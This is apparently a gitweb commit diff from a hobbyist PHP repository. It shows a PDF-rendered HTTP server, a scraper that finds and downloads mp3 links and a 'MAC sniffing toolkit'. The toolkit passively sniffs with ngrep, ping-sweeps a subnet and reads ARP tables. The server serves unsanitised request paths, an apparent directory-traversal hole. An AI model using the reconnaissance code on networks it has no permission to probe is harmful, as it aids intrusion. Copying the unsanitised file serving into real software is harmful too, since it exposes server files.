+0 0 0.498 rg (if)Tj
+0 0 0 rg (\(!)Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+0 0 0.498 rg (continue)Tj
+0 0 0 rg (;)Tj
+0 -13.2 TD
+T*
+(  )Tj
+/F1 11 Tf 0 0 0.498 rg ($loop)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+T*
+(  )Tj
+0 0 0.498 rg (while)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (&&)Tj
+( )Tj
+(!@)Tj
+0 0 0.498 rg (feof)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+(&&)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($loop)Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+({)Tj
+T*
+(    )Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (fgets)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(    )Tj
+/F1 11 Tf 0 0.498 0 rg (//echo\($line\);)Tj
+T*
+(    )Tj
+/F2 11 Tf 0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (eregi)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("\(GET|POST\)")Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg (\)\))Tj
+( )Tj
+({)Tj
+T*
+(      )Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (trim)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(      )Tj
+/F1 11 Tf 0 0.498 0 rg (//echo\($line\);)Tj
+T*
+(      )Tj
+0 0 0.498 rg ($line)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (explode)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg (" ")Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(      )Tj
+T*
+(      )Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (])Tj
+( )Tj
+(=)Tj
+( )Tj
+0 0 0.498 rg (trim)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (urldecode)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (]\)\);)Tj
+T*
+(      )Tj
+T*
+(      )Tj
+T*
+(      )Tj
+0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (])Tj
+( )Tj
+(==)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("/")Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+({)Tj
+T*
+(        )Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (])Tj
+( )Tj
+(=)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("./")Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+T*
+(      )Tj
+(})Tj
+( )Tj
+0 0 0.498 rg (else)Tj
+( )Tj
+0 0 0 rg ({)Tj
+T*
+(        )Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (])Tj
+( )Tj
+(=)Tj
+( )Tj
+0 0 0.498 rg (substr)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (],)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(      )Tj
+(})Tj
+T*
+(      )Tj
+T*
+(      )Tj
+T*
+(      )Tj
+0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (is_file)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (]\)\))Tj
+( )Tj
+({)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//200 OK FILE)Tj
+T*
+(        )Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($okheader)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(        )Tj
+0 0 0.498 rg (echo)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("200 ")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (]\);)Tj
+T*
+(        )Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (fopen)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (],)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("rb")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(        )Tj
+0 0 0.498 rg (while)Tj
+0 0 0 rg (\()Tj
+( )Tj
+0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+0 0 0.498 rg (fgets)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (\)\))Tj
+( )Tj
+(\);)Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (        @)Tj
+/F2 11 Tf 0 0 0.498 rg (fclose)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(        )Tj
+0 0 0.498 rg (echo)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg (" SENT!\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(      )Tj
+(})Tj
+T*
+(      )Tj
+T*
+(      )Tj
+0 0 0.498 rg (elseif)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (is_dir)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (]\)\))Tj
+( )Tj
+({)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//200 OK DIR)Tj
+T*
+(        )Tj
+/F2 11 Tf 0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (substr)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (],)Tj
+( )Tj
+0 0 0.498 rg (strlen)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (]\)-)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+(!=)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("/")Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+({)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//301 MOV DIR)Tj
+T*
+(          )Tj
+0 0 0.498 rg ($header)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+(\()Tj
+/F1 11 Tf 0 0 1 rg ("/")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (].)Tj
+/F1 11 Tf 0 0 1 rg ("/")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(          )Tj
+0 0 0.498 rg (echo)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("301 ")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (].)Tj
+/F1 11 Tf 0 0 1 rg (" -> )Tj
+0 0 0.498 rg ($header)Tj
+0 0 1 rg (\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(          )Tj
+/F1 11 Tf 0 0 0.498 rg ($header)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (str_replace)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("%DIR%")Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($header)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($dirheader)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(          )Tj
+/F1 11 Tf 0 0.498 0 rg (//$header = str_replace\("./", "./", $dirheader\);)Tj
+T*
+(          )Tj
+(//echo\($header\);)Tj
+T*
+(          )Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($header)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (          @)Tj
+/F2 11 Tf 0 0 0.498 rg (fclose)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(          )Tj
+0 0 0.498 rg (break)Tj
+0 0 0 rg (;)Tj
+T*
+(        )Tj
+(})Tj
+T*
+(        )Tj
+0 0 0.498 rg (echo)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("200 [DIR] ")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (].)Tj
+/F1 11 Tf 0 0 1 rg ("\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (        send_dir_listing)Tj
+/F2 11 Tf 0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (]\);)Tj
+T*
+(      )Tj
+(})Tj
+T*
+(      )Tj
+T*
+(      )Tj
+0 0 0.498 rg (else)Tj
+( )Tj
+0 0 0 rg ({)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//404 NOT FOUND)Tj
+T*
+(        )Tj
+/F2 11 Tf 0 0 0.498 rg (echo)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("404 ")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+/F1 11 Tf 0 0 0.498 rg ($line)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (].)Tj
+/F1 11 Tf 0 0 1 rg ("\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(        )Tj
+0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($badheader)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(        )Tj
+0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($err404)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (        @)Tj
+/F2 11 Tf 0 0 0.498 rg (fclose)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(      )Tj
+(})Tj
+T*
+(      )Tj
+T*
+(      )Tj
+/F1 11 Tf 0 0 0.498 rg ($loop)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0.498 rg (0)Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+ET
+endstream
+endobj
+8 0 obj
+<</Length 258>>
+stream
+BT 1 0 0 1 72 762 Tm
+/F2 11 Tf 0 0 0 rg (    )Tj
+(})Tj
+0 -13.2 TD
+(  )Tj
+(})Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (  @)Tj
+/F2 11 Tf 0 0 0.498 rg (fclose)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sfp)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(})Tj
+T*
+T*
+0 0 1 rg (?>)Tj
+T*
+ET
+endstream
+endobj
+9 0 obj
+<</ProcSet[/PDF/Text]
+/Font<</F1 1 0 R/F2 2 0 R/F3 3 0 R/F4 4 0 R>> >>
+endobj
+10 0 obj
+<</Type/Page/Parent 14 0 R
+/MediaBox[ 0 0 595 842]
+/Contents 5 0 R
+/Resources 9 0 R
+>>
+endobj
+11 0 obj
+<</Type/Page/Parent 14 0 R
+/MediaBox[ 0 0 595 842]
+/Contents 6 0 R
+/Resources 9 0 R
+>>
+endobj
+12 0 obj
+<</Type/Page/Parent 14 0 R
+/MediaBox[ 0 0 595 842]
+/Contents 7 0 R
+/Resources 9 0 R
+>>
+endobj
+13 0 obj
+<</Type/Page/Parent 14 0 R
+/MediaBox[ 0 0 595 842]
+/Contents 8 0 R
+/Resources 9 0 R
+>>
+endobj
+14 0 obj
+<</Type/Pages/Kids[
+10 0 R
+11 0 R
+12 0 R
+13 0 R
+]/Count 4
+>>
+endobj
+15 0 obj
+<</Type/Catalog/Pages 14 0 R >>
+endobj
+xref
+0 16
+0000000000 65535 f 
+0000000015 00000 n 
+0000000111 00000 n 
+0000000212 00000 n 
+0000000316 00000 n 
+0000000424 00000 n 
+0000004520 00000 n 
+0000012303 00000 n 
+0000020898 00000 n 
+0000021205 00000 n 
+0000021291 00000 n 
+0000021394 00000 n 
+0000021497 00000 n 
+0000021600 00000 n 
+0000021703 00000 n 
+0000021780 00000 n 
+trailer
+<< /Size 16 /Root 15 0 R
+>>
+startxref
+21828
+%%EOF
similarity index 99%
rename from php/http_server.php
rename to php/hhttpd/http_server.phps
index 45f27267a7048940bd4e21eea7a3e262f6035999..92546f852ae155f4d87a2b704e4d690e26484d81 100755 (executable)
@@ -1,4 +1,4 @@
-#!/usr/bin/php
+#!usr/bin/php
 <?php
 //Harvie's HTTPd 0.7
 /*
@@ -24,7 +24,7 @@
 //////////////////////////////////////////////////////////////////////////////////
 $interface = "127.0.0.1";
 //$interface = "192.168.2.130";
-$port = 8080;
+$port = 80;
 
 //////////////////////////////////////////////////////////////////////////////////
 $okheader = //Header 200 FILE
diff --git a/php/jyxobot.phps b/php/jyxobot.phps
new file mode 100755 (executable)
index 0000000..7b7d48c
--- /dev/null
@@ -0,0 +1,82 @@
+<?php\r
+//Jyxo seek\r
+//<-Harvie (2oo7)\r
+/*\r
+Tento skript vam umozni vyhledavat a automaticky stahovat\r
+multimedialni obsah parsovanim z vyhledavaciho enginu jyxo.cz.\r
+*/\r
+\r
+function url2filename($url) {\r
+  $url = explode("/", $url);\r
+  return $url[(sizeof($url)-1)];\r
+}\r
+//die(url2filename("http://johnys-pages.wbs.cz/03_-_Bob_Marley_-_No_woman_no_cry.mp3")); //Debug\r
+\r
+function jyxo_bot($q="",$d="mm",$ereg=".",$notereg="",$cnt=10000000000000,$page=1,$pmax=2,$o="nocls") {\r
+\r
+  $i = 0;\r
+  $results = "";\r
+  $results[$i] = "";\r
+  //$q = str_replace(" ", "+", $q);\r
+  $q = urlencode($q);\r
+  for(;$page<=$pmax;$page++) {\r
+    $request = ("http://jyxo.cz/s?q=$q&d=$d&o=$o&cnt=$cnt&page=$page");\r
+    $fp = fopen($request, "r") or die("   !!! Cannot connect !!!");\r
+    while(!feof($fp)) {\r
+      $line = fgets($fp);\r
+      if(eregi("<div class='r'>", $line) && ereg(" class=ri", $line)) {\r
+        $line = explode("<!--m--><div class='r'><A HREF=\"", $line);\r
+        $line = $line[1];\r
+        $line = explode("\" class=ri", $line);\r
+        $line = trim($line[0]);\r
+        $line = urldecode($line);\r
+      \r
+        if(@eregi($ereg, $line) && !@eregi($notereg, $line) && !in_array($line, $results)) {\r
+          echo("$line\n"); //Output\r
+          //echo("$i:$line\n"); //Indexed Output\r
+          //echo("<a href=\"$line\">$line</a><br />\n"); //XHTML Output\r
+          $results[$i] = $line;\r
+          $i++;\r
+        }\r
+      \r
+      }\r
+    }\r
+    fclose($fp);\r
+  }\r
+  echo("\nTotal: $i\n"); //Sumary Output\r
+  return $results;\r
+}\r
+\r
+//\r
+function download_url_array($results, $download_dir) {\r
+  //$download_dir = $GLOBALS["download_dir"];\r
+  $fails = 0; $done = 0;\r
+  echo("\nDownloading to $download_dir ...\n");\r
+  if(!is_dir($download_dir)) {\r
+    echo("Creating directory: $download_dir\n\n");\r
+    mkdir($download_dir);\r
+  } else { echo("\n"); }\r
+  foreach($results as $id => $url) {\r
+    $file = url2filename($url);\r
+    echo("Downloading $file (#$id)... ");\r
+    $file = "$download_dir\\$file";\r
+    if(!is_file($file) && @copy($url, $file)) {\r
+      echo("Done.\n");\r
+      $done++;\r
+    } else {\r
+      if(is_file($file)) { echo("File already exists "); }\r
+      echo("Failed!\n");\r
+      $fails++;\r
+    }\r
+  }\r
+  $totaldls = ($fails+$done);\r
+  echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n");\r
+}\r
+\r
+///CODE//////////////////////////////////////////////////////////////////////////////////////\r
+$results = jyxo_bot("interpret titul","mm","(.mp3|.ogg)"); //Text2Search\r
+//print_r($results); //Array Output\r
+//var_dump($results); //Detail debug output\r
+//download_url_array($results, "X:\\JyxoBot"); //Automatic Download\r
+\r
+?>\r
diff --git a/php/mac_hack.phps b/php/mac_hack.phps
new file mode 100755 (executable)
index 0000000..0151d6f
--- /dev/null
@@ -0,0 +1,137 @@
+<?php\r
+//Harvie's MAC sniffing toolkit (2oo7)\r
+//Vice informaci cesky: https://www.soom.cz/articles/print.php?aid=406\r
+\r
+/*\r
+This if primary for MS Windows (may work at other system, depending on 3rd side programs' output)\r
+3rd side programs:\r
+- ping\r
+- arp\r
+- ngrep (requires WinPCap for Windows or LibPCap for Unixs)\r
+*/\r
+\r
+///SETTINGS/////////////////////////////////////\r
+$ngrep = "ngrep"; //NGREP binary\r
+$ping = "ping -n 1"; //PING with arguments\r
+$arp = "arp -a"; //ARP with arguments to show all ARP records\r
+\r
+///FUNCTIONS////////////////////////////////////\r
+\r
+//Get HW (MAC) address from IP address\r
+function get_mac($ip) {\r
+  $ip = trim($ip);\r
+  shell_exec($GLOBALS["ping"]." ".$ip);\r
+  $arp = shell_exec($GLOBALS["arp"]);\r
+  $arp = explode("\n", $arp);\r
+  foreach($arp as $line) {\r
+    if(ereg(": $ip ---", $line)) { return("This is your adapter, to find MAC try \"ipconfig /all\""); }\r
+    if(ereg("  $ip ", $line)) {\r
+      //echo($line."\n"); //Debug\r
+      $line = explode($ip, $line);\r
+      $line = trim($line[1]);\r
+      $line = explode("dynamic", $line);\r
+      $line = trim($line[0]);\r
+      //echo($line."\n"); //Debug\r
+      return($line);\r
+    }\r
+  }\r
+  return("Not found. Couldn't broadcast to IP.");\r
+}\r
+\r
+//Passive scan for active computers (IPs) in network (it's 100% stealth),\r
+//but you can use "nmap" (for example) for scanning more more quickly and efectively...\r
+//This is waiting in infinite loop...\r
+function sniff_ips($device = 1, $subnet = "") {\r
+  $device = trim($device);\r
+  $subnet = trim($subnet);\r
+  $ngrep = ($GLOBALS["ngrep"]." -d ".$device);\r
+  $fp = popen($ngrep, "r");\r
+  \r
+  $ips[0] = "";\r
+  $i = 0;\r
+  while($fp && !feof($fp)) {\r
+    $line = fgets($fp);\r
+    if(ereg("$subnet.*:.* -> .*:.*", $line)) {\r
+      $line = explode(" ", $line);\r
+      $line = explode(":", $line[1]);\r
+      $ip = trim($line[0]);\r
+      \r
+      if(!in_array($ip, $ips)) {\r
+        $ips[$i] = $ip;\r
+        $i++;\r
+        \r
+        //You have $ip, you can do anything, that you want:\r
+        echo($ip." = ".get_mac($ip)."\n"); //Get it's MAC and print it\r
+        \r
+      }\r
+    }\r
+  }\r
+}\r
+\r
+//Quick active scan for MACs and IPS\r
+function quick_ipmac_scan($subnet = "192.168.1") {\r
+  for($i=1;$i<256;$i++) {\r
+    //Mega threaded ( This will open 255 processes ;))\r
+    $fp[$i] = popen($GLOBALS["ping"]." ".$subnet.".".$i, "r");\r
+  }\r
+  for($i=1;$i<256;$i++) {\r
+    while( $fp[$i] && !feof($fp[$i]) ) { fgets($fp[$i]); }\r
+  }\r
+  system($GLOBALS["arp"]);\r
+}\r
+\r
+///Examples of usage://///////////////////////////////////////////////////////\r
+//You have to modify this script, to get that output format, that you want...\r
+\r
+\r
+//Sniff for IPs:\r
+echo("Sniffing for IP/MAC addresses\nC-c for stop\n\n");\r
+//This will sniff on 3rd device ("ngrep -L" for device listing)\r
+//And only IPs that starts with "192.168" will be accepted\r
+sniff_ips(3, "192.168"); //ngrep -d 3 | grep 192.168.*:.* -> .*:.*\r
+\r
+/*\r
+Example output:\r
+Sniffing for IP/MAC addresses\r
+C-c for stop\r
+\r
+192.168.15.82 = This is your adapter, to find MAC try "ipconfig /all"\r
+192.168.15.65 = 00-00-24-c1-e7-e8\r
+192.168.15.84 = 00-04-e2-cb-bc-6a\r
+192.168.15.77 = Not found. Couldn't broadcast to IP.\r
+192.168.15.80 = Not found. Couldn't broadcast to IP.\r
+*/\r
+\r
+//--------------------------------------------------------------------------\r
+\r
+\r
+//Quick active scan for MACs/IPs:\r
+echo("Scanning for IP/MAC addresses\nC-c for stop\n");\r
+quick_ipmac_scan("192.168.1");\r
+\r
+/*\r
+Example output:\r
+Scanning for IP/MAC addresses\r
+C-c for stop\r
+\r
+Rozhrani: 192.168.15.82 --- 0x40003\r
+  internetova  adresa    fyzicka  adresa        typ\r
+  192.168.15.65         00-00-24-c1-e7-e8     dynamicka \r
+  192.168.15.80         00-16-ce-0a-0e-a1     dynamicka \r
+*/\r
+\r
+//--------------------------------------------------------------------------\r
+\r
+//Get MAC:\r
+$ip = "192.168.15.82"; //This is your adapter, to find MAC try "ipconfig /all"\r
+$ip = "404.168.15.82"; //Not found. Couldn't broadcast to IP.\r
+$ip = "192.168.15.65";\r
+echo("IP: $ip\nMAC: ".get_mac($ip)."\n");\r
+\r
+/*\r
+Example output:\r
+IP: 192.168.15.65\r
+MAC: 00-00-24-c1-e7-e8\r
+*/\r
+\r
+?>\r
diff --git a/php/speedtest-defunct.php b/php/speedtest-defunct.php
new file mode 100755 (executable)
index 0000000..b7734fc
--- /dev/null
@@ -0,0 +1,10 @@
+<h1>SpeedTest</h1>
+<?php
+//this is not working because of caching...
+
+if( isset($_GET["time"]) ) {
+    $time = ((microtime() - $_GET["time"])/1000000)-1;
+} else {
+    for($i=0;$i<8000000;$i++) { echo("a"); }
+}
+?>
\ No newline at end of file
This page took 0.572403 seconds and 4 git commands to generate.